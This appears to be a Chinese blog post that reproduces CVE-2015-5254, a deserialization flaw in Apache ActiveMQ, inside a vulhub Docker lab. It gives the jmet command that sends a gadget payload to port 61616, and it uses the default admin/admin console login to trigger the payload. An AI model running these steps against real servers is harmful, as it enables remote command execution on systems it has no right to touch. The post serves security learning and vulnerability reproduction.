影响范围:

  • Apache ActiveMQ 5.0.0 - 5.12.1

漏洞类型:

Java反序列化

操作系统限制:

配置要求:

  • 开启OpenWire

  • 端口61616对外开放且不开启身份验证

漏洞利用:

命令执行,反弹shell

利用原理:

ActiveMQ的OpenWire协议允许客户端发送ObjectMessage,受影响版本中,ActiveMQ再接收到ObjectMessage并调用ObjectInputStream.readObject()进行反序列化时,没有对实例化类进行安全检验或黑白名单检验,攻击者可以构造恶意序列化对象,通过61616端口发送构造的ObjectMessage,ActiveMQ读取信息时会自动触发readObject()方法,反序列化过程中会执行恶意命令

漏洞复现:

现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/activemq/CVE-2015-5254
#拉取镜像
docker-compose up -d

访问http://靶机ip:8161

下载攻击工具

#下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

生成有效载荷

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 靶机 61616

访问http://靶机ip:8161/admin,账号密码是admin/admin

点击queue-Browse

可以看到队列中有一条记录,点击记录链接触发命令,有时候因为网络问题,可能会访问不了,再访问几次即可

进入容器查看tmp目录下的文件,发现success,说明成功执行命令


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE ActiveMQ
喜欢就支持一下吧